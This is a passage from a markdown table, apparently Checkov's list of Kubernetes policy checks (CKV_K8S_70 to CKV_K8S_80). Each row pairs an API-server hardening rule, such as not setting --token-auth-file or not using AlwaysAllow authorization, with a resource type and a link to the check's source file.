[ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7158 | CKV_K8S_70               | resource                         | CronJob                                                                                          | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7159 | CKV_K8S_70               | resource                         | DaemonSet                                                                                        | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7160 | CKV_K8S_70               | resource                         | Deployment                                                                                       | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7161 | CKV_K8S_70               | resource                         | DeploymentConfig                                                                                 | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7162 | CKV_K8S_70               | resource                         | Job                                                                                              | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7163 | CKV_K8S_70               | resource                         | Pod                                                                                              | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7164 | CKV_K8S_70               | resource                         | PodTemplate                                                                                      | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7165 | CKV_K8S_70               | resource                         | ReplicaSet                                                                                       | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7166 | CKV_K8S_70               | resource                         | ReplicationController                                                                            | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7167 | CKV_K8S_70               | resource                         | StatefulSet                                                                                      | Ensure that the --token-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                                                  |\n| 7168 | CKV_K8S_71               | resource                         | CronJob                                                                                          | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7169 | CKV_K8S_71               | resource                         | DaemonSet                                                                                        | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7170 | CKV_K8S_71               | resource                         | Deployment                                                                                       | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7171 | CKV_K8S_71               | resource                         | DeploymentConfig                                                                                 | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7172 | CKV_K8S_71               | resource                         | Job                                                                                              | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7173 | CKV_K8S_71               | resource                         | Pod                                                                                              | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7174 | CKV_K8S_71               | resource                         | PodTemplate                                                                                      | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7175 | CKV_K8S_71               | resource                         | ReplicaSet                                                                                       | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7176 | CKV_K8S_71               | resource                         | ReplicationController                                                                            | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7177 | CKV_K8S_71               | resource                         | StatefulSet                                                                                      | Ensure that the --kubelet-https argument is set to true                                                                                                                                                  | Kubernetes              | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                                                    |\n| 7178 | CKV_K8S_72               | resource                         | CronJob                                                                                          | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7179 | CKV_K8S_72               | resource                         | DaemonSet                                                                                        | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7180 | CKV_K8S_72               | resource                         | Deployment                                                                                       | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7181 | CKV_K8S_72               | resource                         | DeploymentConfig                                                                                 | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7182 | CKV_K8S_72               | resource                         | Job                                                                                              | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7183 | CKV_K8S_72               | resource                         | Pod                                                                                              | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7184 | CKV_K8S_72               | resource                         | PodTemplate                                                                                      | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7185 | CKV_K8S_72               | resource                         | ReplicaSet                                                                                       | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7186 | CKV_K8S_72               | resource                         | ReplicationController                                                                            | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7187 | CKV_K8S_72               | resource                         | StatefulSet                                                                                      | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                                   | Kubernetes              | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                                              |\n| 7188 | CKV_K8S_73               | resource                         | CronJob                                                                                          | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7189 | CKV_K8S_73               | resource                         | DaemonSet                                                                                        | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7190 | CKV_K8S_73               | resource                         | Deployment                                                                                       | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7191 | CKV_K8S_73               | resource                         | DeploymentConfig                                                                                 | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7192 | CKV_K8S_73               | resource                         | Job                                                                                              | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7193 | CKV_K8S_73               | resource                         | Pod                                                                                              | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7194 | CKV_K8S_73               | resource                         | PodTemplate                                                                                      | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7195 | CKV_K8S_73               | resource                         | ReplicaSet                                                                                       | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7196 | CKV_K8S_73               | resource                         | ReplicationController                                                                            | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7197 | CKV_K8S_73               | resource                         | StatefulSet                                                                                      | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                           | Kubernetes              | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                                                      |\n| 7198 | CKV_K8S_74               | resource                         | CronJob                                                                                          | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7199 | CKV_K8S_74               | resource                         | DaemonSet                                                                                        | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7200 | CKV_K8S_74               | resource                         | Deployment                                                                                       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7201 | CKV_K8S_74               | resource                         | DeploymentConfig                                                                                 | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7202 | CKV_K8S_74               | resource                         | Job                                                                                              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7203 | CKV_K8S_74               | resource                         | Pod                                                                                              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7204 | CKV_K8S_74               | resource                         | PodTemplate                                                                                      | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7205 | CKV_K8S_74               | resource                         | ReplicaSet                                                                                       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7206 | CKV_K8S_74               | resource                         | ReplicationController                                                                            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7207 | CKV_K8S_74               | resource                         | StatefulSet                                                                                      | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                                              |\n| 7208 | CKV_K8S_75               | resource                         | CronJob                                                                                          | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7209 | CKV_K8S_75               | resource                         | DaemonSet                                                                                        | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7210 | CKV_K8S_75               | resource                         | Deployment                                                                                       | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7211 | CKV_K8S_75               | resource                         | DeploymentConfig                                                                                 | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7212 | CKV_K8S_75               | resource                         | Job                                                                                              | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7213 | CKV_K8S_75               | resource                         | Pod                                                                                              | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7214 | CKV_K8S_75               | resource                         | PodTemplate                                                                                      | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7215 | CKV_K8S_75               | resource                         | ReplicaSet                                                                                       | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7216 | CKV_K8S_75               | resource                         | ReplicationController                                                                            | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7217 | CKV_K8S_75               | resource                         | StatefulSet                                                                                      | Ensure that the --authorization-mode argument includes Node                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                                                  |\n| 7218 | CKV_K8S_77               | resource                         | CronJob                                                                                          | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7219 | CKV_K8S_77               | resource                         | DaemonSet                                                                                        | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7220 | CKV_K8S_77               | resource                         | Deployment                                                                                       | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7221 | CKV_K8S_77               | resource                         | DeploymentConfig                                                                                 | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7222 | CKV_K8S_77               | resource                         | Job                                                                                              | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7223 | CKV_K8S_77               | resource                         | Pod                                                                                              | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7224 | CKV_K8S_77               | resource                         | PodTemplate                                                                                      | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7225 | CKV_K8S_77               | resource                         | ReplicaSet                                                                                       | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7226 | CKV_K8S_77               | resource                         | ReplicationController                                                                            | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7227 | CKV_K8S_77               | resource                         | StatefulSet                                                                                      | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                              | Kubernetes              | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                                                  |\n| 7228 | CKV_K8S_78               | resource                         | AdmissionConfiguration                                                                           | Ensure that the admission control plugin EventRateLimit is set                                                                                                                                           | Kubernetes              | [ApiServerAdmissionControlEventRateLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py)                                                |\n| 7229 | CKV_K8S_79               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7230 | CKV_K8S_79               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7231 | CKV_K8S_79               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7232 | CKV_K8S_79               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7233 | CKV_K8S_79               | resource                         | Job                                                                                              | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7234 | CKV_K8S_79               | resource                         | Pod                                                                                              | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7235 | CKV_K8S_79               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7236 | CKV_K8S_79               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7237 | CKV_K8S_79               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7238 | CKV_K8S_79               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                          | Kubernetes              | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                                                      |\n| 7239 | CKV_K8S_80               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7240 | CKV_K8S_80               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7241 | CKV_K8S_80               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7242 | CKV_K8S_80               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7243 | CKV_K8S_80               | resource                         | Job                                                                                              | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7244 | CKV_K8S_80               | resource                         | Pod                                                                                              | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7245 | CKV_K8S_80               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7246 | CKV_K8S_80               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                            